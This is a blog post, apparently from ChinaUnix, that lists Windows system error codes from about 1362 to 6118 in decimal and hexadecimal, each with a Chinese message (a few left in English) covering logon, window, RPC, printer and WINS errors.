1362 0x0552 所要求的动作只能给登入使用。而目前呼叫该动作的处理并未登录为登入。

1363 0x0553 无法利用已经在使用的识别码来激活新的作业阶段。

1364 0x0554 无法识别指定的确认包装。

1365 0x0555 登入作业阶段不是在与要求的作业一致的状态。

1366 0x0556 登入作业阶段识别码已经在使用中。

1367 0x0557 登入要求包含无效的登入类型值。

1368 0x0558 Unable to impersonate via a named pipe until data has been

read from that pipe.

1369 0x0559 The transaction state of a Registry subtree is incompatible

with the requested operation.

1370 0x055A 内部安全数据库毁损。

1371 0x055B 无法在内建帐户执行这项作业。

1372 0x055C 无法在这个内建的特殊群组执行这项操作。

1373 0x055D 无法在这个内建的特殊使用者执行这项作业。

1374 0x055E 因为群组目前是使用者的主要群组,所以不能 从群组移除使用者。

1375 0x055F The token is already in use as a primary token.

1376 0x0560 指定的区域群组不存在。

1377 0x0561 指定的帐户名称不是区域群组的成员。

1378 0x0562 指定的帐户名称已经是区域群组的成员。

1379 0x0563 指定的区域群组已经存在。

1380 0x0564 登入失败: 使用者无权在这部计算机以要求的 登入类型登入。

1381 0x0565 The maximum number of secrets that may be stored in a single system has been exceeded.

1382 0x0566 The length of a secret exceeds the maximum length allowed.

1383 0x0567 本区安全性授权数据库内含的资料不一致。

1384 0x0568 在登入时,使用者的安全内容累积太多的 安全识别码。

1385 0x0569 登入失败: 使用者尚未被许可在这个台脑使用要求的登入类型。

1386 0x056A 交叉加密的密码需要变更使用者的密码。

1387 0x056B 因为成员不存在,所以无法将新的成员新增到 区域群组。

1388 0x056C 因为成员的帐号类型不正确,所以无法新增到区域群组。

1389 0x056D 指定的安全 ID 太多。

1390 0x056E 需要用到交互加密的密码才能变更这个使用者的密码。

1391 0x056F 表示存取控制清单没有可继承的组件

1392 0x0570 档案或目录已毁,无法读取资料。

1393 0x0571 磁盘结构已毁无法读取。

1394 0x0572 没有指定之登入作业阶段的使用者作业阶段机码。

1395 0x0573 正在存取的服务仅授权特定数目的联机。 而目前联机数目已达上限,所以无法再建立服务联机。

1400 0x0578 窗口代码无效。

1401 0x0579 菜单识别码无效。

1402 0x057A 光标句柄无效。

1403 0x057B 加速键表格句柄无效。

1404 0x057C Invalid hook handle. 1405 0x057D 无效的多重窗口位置结构控制。

1406 0x057E 无法建立最上层的子窗口。

1407 0x057F 找不到 window class

1408 0x0580 无效的窗口,属于其它的执行绪。

1409 0x0581 快速键已经登记。

1410 0x0582 Class 已经存在。

1411 0x0583 Class 不存在。

1412 0x0584 Class 仍然有开启的窗口。

1413 0x0585 无效的索引。

1414 0x0586 图标句柄无效。

1415 0x0587 使用专用的 DIALOG 窗口文字。

1416 0x0588 清单方块识别码找不到。

1417 0x0589 找不到任何通配字符。

1418 0x058A 执行绪 (thread) 没有开启剪贴簿。

1419 0x058B 快速键没有登记。

1420 0x058C 不是有效的对话窗口。

1421 0x058D Control ID 找不到。

1422 0x058E 清单方块的讯息无效,因为没有任何的编辑句柄。

1423 0x058F 窗口不是一个清单方块。

1424 0x0590 高度必须小于 256

1425 0x0591 装置范围 (DC) 句柄无效。

1426 0x0592 锁定程序类型无效。

1427 0x0593 锁定程序无效。

1428 0x0594 没有模块句柄就不能设定非本区的锁定。

1429 0x0595 This hook procedure can only be set globally.

1430 0x0596 The journal hook procedure is already installed.

1431 0x0597 The hook procedure is not installed.

1432 0x0598 无效的单一选择清单方块讯息。

1433 0x0599 LB_SETCOUNT 传送到 non-lazy 清单方块。

1434 0x059A 这个清单方块不支持跳格停驻。

1435 0x059B 不可毁损由其它执行绪所建立的对象。

1436 0x059C 子窗口不能有菜单。

1437 0x059D 窗口没有系统菜单。

1438 0x059E 无效的消息框样式。

1439 0x059F 无效的 system-wide (SPI_*) 参数。

1440 0x05A0 屏幕已经锁定。

1441 0x05A1 All handles to windows in a multiple-window position structure

must have the same parent.

1442 0x05A2 窗口不是子窗口。

1443 0x05A3 GW_* 指令无效。

1444 0x05A4 执行绪识别码无效。

1445 0x05A5 无法处理多重文件接口窗口的讯息。

1446 0x05A6 即现式菜单已在作用中。

1447 0x05A7 窗口没有滚动条。

1448 0x05A8 滚动条范围不可以大于 0x7FFF 1449 0x05A9 无法以指定的方式显示或移除窗口。

1450 0x05AA 系统资源不足,无法完成所要求的服务。

1451 0x05AB 系统资源不足,无法完成所要求的服务。

1452 0x05AC 系统资源不足,无法完成所要求的服务。

1453 0x05AD 配额不足,无法完成所要求的服务。

1454 0x05AE 配额不足,无法完成所要求的服务。

1455 0x05AF 这项作业的 paging 文件太小,无法完成作业。

1456 0x05B0 找不到菜单项目。

1500 0x05DC 事件记录文件坏掉。

 

1501 0x05DD 无法开启事件记录文件,因此事件记录服务没有激活。

1502 0x05DE 事件记录文件已满。

1503 0x05DF 事件记录文件已经变更。

1700 0x06A4 字符串连结错误。

1701 0x06A5 连结句柄 (binding handle) 的类型错误。

1702 0x06A6 连结句柄 (binding handle) 无效。

1703 0x06A7 不支持 RPC 通讯协议顺序。

1704 0x06A8 RPC 通讯协议顺序无效。

1705 0x06A9 字符串 universal unique identifier (UUID) 无效。

1706 0x06AA 端点格式错误。

1707 0x06AB 网络地址无效。

1708 0x06AC 找不到端点。

1709 0x06AD 逾时数值无效。

 

 

纯皓 2005-04-12 00:23

1710 0x06AE 找不到对象的 universal unique identifier (UUID)

1711 0x06AF 对象的 universal unique identifier (UUID) 已经登记。

1712 0x06B0 类型的 universal unique identifier (UUID) 已经登记。

1713 0x06B1 RPC 服务器已经在听候。

1714 0x06B2 没有登记通讯协议顺序。

1715 0x06B3 RPC 服务器没有听候指令。

1716 0x06B4 管理员类型不详。

1717 0x06B5 接口不详。

1718 0x06B6 没有联机。

1719 0x06B7 没有通讯协议顺序。

1720 0x06B8 无法建立端点。

1721 0x06B9 资源不足,无法完成作业。

1722 0x06BA RPC 服务器无法使用。

1723 0x06BB RPC 服务器太忙,无法完成这项作业。

1724 0x06BC 网络选项无效。

1725 0x06BD 这个执行绪 (thread) 没有任何执行的远程过程调用。

1726 0x06BE 远程过程调用失败。

1727 0x06BF 远程过程调用失败,所以没有执行。

1728 0x06C0 远程过程调用 (remote procedure callRPC) 通讯协议发生错误。

1730 0x06C2 RPC 服务器不支持转送语法。

1732 0x06C4 不支持 universal unique identifier (UUID) 的类型。

1733 0x06C5 封签 (tag) 无效。

1734 0x06C6 数组无效。

1735 0x06C7 连结中没有项目名称。

1736 0x06C8 名称语法无效。

1737 0x06C9 名称语法不被支持。

1739 0x06CB 没有任何网络地址可以用来建立全球唯一的识别码 (UUID)

1740 0x06CC 端点重复。

1741 0x06CD 授权类型不详。

1742 0x06CE 呼叫次数的上限太小。

1743 0x06CF 字符串太长。

1744 0x06D0 找不到 RPC 通讯协议顺序。

1745 0x06D1 程序号码超出范围。

1746 0x06D2 连结中没有包含任何确认信息。

1747 0x06D3 确认服务不详。

1748 0x06D4 确认层次不详。

1749 0x06D5 安全内容无效。

1750 0x06D6 确认服务不详。

1751 0x06D7 项目无效。

1752 0x06D8 服务器端点无法执行这个作业。

1753 0x06D9 端点对应程序没有其它的端点。

1754 0x06DA 没有汇出任何的接口。

1755 0x06DB 项目名称不完整。

1756 0x06DC 版本选项无效。

1757 0x06DD 没有其它的成员。

1758 0x06DE 没有任何资料可以取消汇出。

1759 0x06DF 接口找不到。

1760 0x06E0 项目已经存在。

1761 0x06E1 项目找不到。

1762 0x06E2 名称服务无法使用。

1763 0x06E3 网络地址系列无效。

1764 0x06E4 要求的作业不受支持。

1765 0x06E5 没有可用来仿真的安全内容。

1766 0x06E6 远程过程调用 (RPC) 发生内部错误。

1767 0x06E7 RPC 服务器尝试用整数除以 0

1768 0x06E8 RPC 服务器发生地址设定错误。

1769 0x06E9 RPC 服务器的浮点作业导致除以 0 的运算。

1770 0x06EA RPC 服务器发生浮点 underflow 1771 0x06EB RPC 服务器发生浮点 overflow

1772 0x06EC 清单中可供连结自动代码 RPC 服务器已经用完。

1773 0x06ED 无法开启字符转换表档案。

1774 0x06EE 包含字符转换表的档案少于 512 字节。

1775 0x06EF 在远程过程调用时,将空的 context 代码从 客户端传送到主计算机。

1777 0x06F1 在远程过程调用时内容处理改变。

1778 0x06F2 传送给远程过程调用的连结代码不符。

1779 0x06F3 The stub is unable to get the remote procedure call handle. 1780 0x06F4 A null reference pointer was passed to the stub.

1781 0x06F5 The enumeration value is out of range.

1782 0x06F6 字节计数太小。

1783 0x06F7 The stub received bad data.

1784 0x06F8 所提供的使用者缓冲区对要求的作业无效。

1785 0x06F9 无法辨识磁盘储存媒体。磁盘储存媒体可能还没有制作格式。

1786 0x06FA The workstation does not have a trust secret.

1787 0x06FB The SAM database on the Windows NT Server does not have a

computer account for this workstation trust relationship. 1788 0x06FC The trust relationship between the primary domain and the trusted domain failed. 1789 0x06FD The trust relationship between this workstation and the primary domain failed. 1790 0x06FE 网络登入失败。

1791 0x06FF 远程过程调用已经在这个执行绪进行中。

1792 0x0700 尝试登入,但网络登入服务尚未激活。

1793 0x0701 使用者的帐户已经过期。

1794 0x0702 The redirector is in use and cannot be unloaded.

1795 0x0703 指定的打印机驱动程序已经安装。

1796 0x0704 指定的连接埠无法识别。

1797 0x0705 打印机驱动程序无法识别。

1798 0x0706 打印处理器不详。

1799 0x0707 指定的分隔档无效。

1800 0x0708 指定的优先级无效。

1801 0x0709 打印机名称无效。

1802 0x070A 打印机已经存在。

1803 0x070B 打印机指令无效。

1804 0x070C 指定的数据类型无效。

1805 0x070D 指定的 Environment 无效。

1806 0x070E 没有其它的连结。

1807 0x070F 这是一个跨网域的信任帐户。请用您的全域性使用者帐户或区域性使用者帐户来存取服务器。

1808 0x0710 这是一个计算机帐户。请使用您的全域性使用者帐户或区域性使用者帐户来存取这个服务器。

1809 0x0711 这是一个伺服端信任帐户。请用您的全域性使用者帐户或区域性使用者帐户来存取服务器。

1810 0x0712 指定的网域名称或安全识别码与网域信用信息 不符。

1811 0x0713 服务器正在使用中,无法卸载。

1812 0x0714 指定的影像档案没有有包含资源区段。

1813 0x0715 在影像文件找不到指定的资源类型。

1814 0x0716 在影像文件找不到指定的资源名称。

1815 0x0717 在影像文件找不到指定的资源语系识别码。

1816 0x0718 可用的配额不足,无法处理这项指令。

1817 0x0719 登录任何接口。

1818 0x071A 处理这项呼叫的时候,服务器发生变更。

1819 0x071B 连结代码没有包含所有必须的信息。

1820 0x071C 通讯失败。

1821 0x071D 要求的认证层次不被支持。

1822 0x071E 没有登记任何主要的名称。

1823 0x071F 指定的错误不是有效的 Windows RPC 错误码。

1824 0x0720 A UUID that is valid only on this computer has been allocated.

1825 0x0721 发生安全包装指定错误。

1826 0x0722 没有取消执行绪 (THREAD) 1827 0x0723 针对编码/译码的代码进行无效的作业。

1828 0x0724 Incompatible version of the serializing package.

1829 0x0725 不兼容的 RPC stub 版本。

1898 0x076A 找不到群组成员。

1899 0x076B 无法建立 endpoint mapper 数据库。

1900 0x076C The object universal unique identifier (UUID) is the nil UUID.

 

1901 0x076D 指定的项目无效。

1902 0x076E 指定窗体名称错误。

1903 0x076F 指定的窗体大小错误。

1904 0x0770 指定的打印机句柄已经在等候。

1905 0x0771 指定的打印机已经删除

1906 0x0772 打印机的状态错误。

1907 0x0773 使用者在第一次登入之前,必须先变更它的密码。

1908 0x0774 找不到这个网域的域控制器。

1909 0x0775 参照的帐户目前被锁定,无法登入。

2000 0x07D0 像素格式无效。

2001 0x07D1 指定的驱动程序无效。

2002 0x07D2 窗口样式或 class 属性对这项作业无效。

2003 0x07D3 不支持所要求的中继文件作业。

2004 0x07D4 不支持要求的传输作业。

2005 0x07D5 不支持要求的剪辑作业。

2202 0x089A 指定的使用者名称无效。

2250 0x08CA 网络联机不存在。

2401 0x0961 这个网络联机已经开启档案或者要求暂停。

2402 0x0962 现行的联机仍然存在。

2404 0x0964 装置正在使用中,无法中断联机。

3000 0x0BB8 指定的打印机监视器不详。

3001 0x0BB9 指定的打印机驱动程序正在使用中。

3002 0x0BBA 找不到排存盘。

3003 0x0BBB 没有发出 StartDocPrinter 呼叫。

3004 0x0BBC 没有发出 AddJob 呼叫。

3005 0x0BBD 指定的打印处理器已经安装。

3006 0x0BBE 指定打印监控程序已经安装。

4000 0x0FA0 在处理指令时,WINS 发生错误。

4001 0x0FA1 无法删除区域的 WINS

4002 0x0FA2 The importation from the file failed. 4003 0x0FA3 制作备份失败。以前执行过完整的备份吗 ?

4004 0x0FA4 无法制作备份,请检查目录。

4005 0x0FA5 名称不在 WINS 数据库中。

4006 0x0FA6 不可用未设定的打印机来取代。

6118 0x17E6 这个工作群组的服务清单目前无法使用。

 

阅读(3714) | 评论(1) | 转发(0) |
0

上一篇:Win2000命令全集

下一篇:2000蓝屏代码详解

给主人留下些什么吧!~~

chinaunix网友2008-11-30 10:50:16

HHH